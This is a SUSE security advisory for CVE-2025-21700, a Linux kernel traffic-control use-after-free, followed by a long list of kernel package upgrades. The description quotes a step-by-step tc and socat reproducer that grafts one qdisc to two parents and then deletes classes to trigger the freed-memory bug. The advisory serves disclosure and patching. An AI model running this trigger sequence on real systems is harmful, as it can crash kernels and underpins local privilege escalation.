SUSE: CVE-2025-21700: SUSE Linux Security Advisory
Description
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>
Solution(s)
- suse-upgrade-cluster-md-kmp-64kb
- suse-upgrade-cluster-md-kmp-azure
- suse-upgrade-cluster-md-kmp-default
- suse-upgrade-cluster-md-kmp-rt
- suse-upgrade-dlm-kmp-64kb
- suse-upgrade-dlm-kmp-azure
- suse-upgrade-dlm-kmp-default
- suse-upgrade-dlm-kmp-rt
- suse-upgrade-dtb-allwinner
- suse-upgrade-dtb-altera
- suse-upgrade-dtb-amazon
- suse-upgrade-dtb-amd
- suse-upgrade-dtb-amlogic
- suse-upgrade-dtb-apm
- suse-upgrade-dtb-apple
- suse-upgrade-dtb-arm
- suse-upgrade-dtb-broadcom
- suse-upgrade-dtb-cavium
- suse-upgrade-dtb-exynos
- suse-upgrade-dtb-freescale
- suse-upgrade-dtb-hisilicon
- suse-upgrade-dtb-lg
- suse-upgrade-dtb-marvell
- suse-upgrade-dtb-mediatek
- suse-upgrade-dtb-nvidia
- suse-upgrade-dtb-qcom
- suse-upgrade-dtb-renesas
- suse-upgrade-dtb-rockchip
- suse-upgrade-dtb-socionext
- suse-upgrade-dtb-sprd
- suse-upgrade-dtb-xilinx
- suse-upgrade-gfs2-kmp-64kb
- suse-upgrade-gfs2-kmp-azure
- suse-upgrade-gfs2-kmp-default
- suse-upgrade-gfs2-kmp-rt
- suse-upgrade-kernel-64kb
- suse-upgrade-kernel-64kb-devel
- suse-upgrade-kernel-64kb-extra
- suse-upgrade-kernel-64kb-optional
- suse-upgrade-kernel-azure
- suse-upgrade-kernel-azure-devel
- suse-upgrade-kernel-azure-extra
- suse-upgrade-kernel-azure-optional
- suse-upgrade-kernel-azure-vdso
- suse-upgrade-kernel-debug
- suse-upgrade-kernel-debug-devel
- suse-upgrade-kernel-debug-vdso
- suse-upgrade-kernel-default
- suse-upgrade-kernel-default-base
- suse-upgrade-kernel-default-base-rebuild
- suse-upgrade-kernel-default-devel
- suse-upgrade-kernel-default-extra
- suse-upgrade-kernel-default-livepatch
- suse-upgrade-kernel-default-livepatch-devel
- suse-upgrade-kernel-default-man
- suse-upgrade-kernel-default-optional
- suse-upgrade-kernel-default-vdso
- suse-upgrade-kernel-devel
- suse-upgrade-kernel-devel-azure
- suse-upgrade-kernel-devel-rt
- suse-upgrade-kernel-docs
- suse-upgrade-kernel-docs-html
- suse-upgrade-kernel-kvmsmall
- suse-upgrade-kernel-kvmsmall-devel
- suse-upgrade-kernel-kvmsmall-vdso
- suse-upgrade-kernel-macros
- suse-upgrade-kernel-obs-build
- suse-upgrade-kernel-obs-qa
- suse-upgrade-kernel-rt
- suse-upgrade-kernel-rt-devel
- suse-upgrade-kernel-rt-extra
- suse-upgrade-kernel-rt-livepatch-devel
- suse-upgrade-kernel-rt-optional
- suse-upgrade-kernel-rt-vdso
- suse-upgrade-kernel-rt_debug
- suse-upgrade-kernel-rt_debug-devel
- suse-upgrade-kernel-rt_debug-vdso
- suse-upgrade-kernel-source
- suse-upgrade-kernel-source-azure
- suse-upgrade-kernel-source-rt
- suse-upgrade-kernel-source-vanilla
- suse-upgrade-kernel-syms
- suse-upgrade-kernel-syms-azure
- suse-upgrade-kernel-syms-rt
- suse-upgrade-kernel-zfcpdump
- suse-upgrade-kselftests-kmp-64kb
- suse-upgrade-kselftests-kmp-azure
- suse-upgrade-kselftests-kmp-default
- suse-upgrade-kselftests-kmp-rt
- suse-upgrade-ocfs2-kmp-64kb
- suse-upgrade-ocfs2-kmp-azure
- suse-upgrade-ocfs2-kmp-default
- suse-upgrade-ocfs2-kmp-rt
- suse-upgrade-reiserfs-kmp-64kb
- suse-upgrade-reiserfs-kmp-azure
- suse-upgrade-reiserfs-kmp-default
- suse-upgrade-reiserfs-kmp-rt
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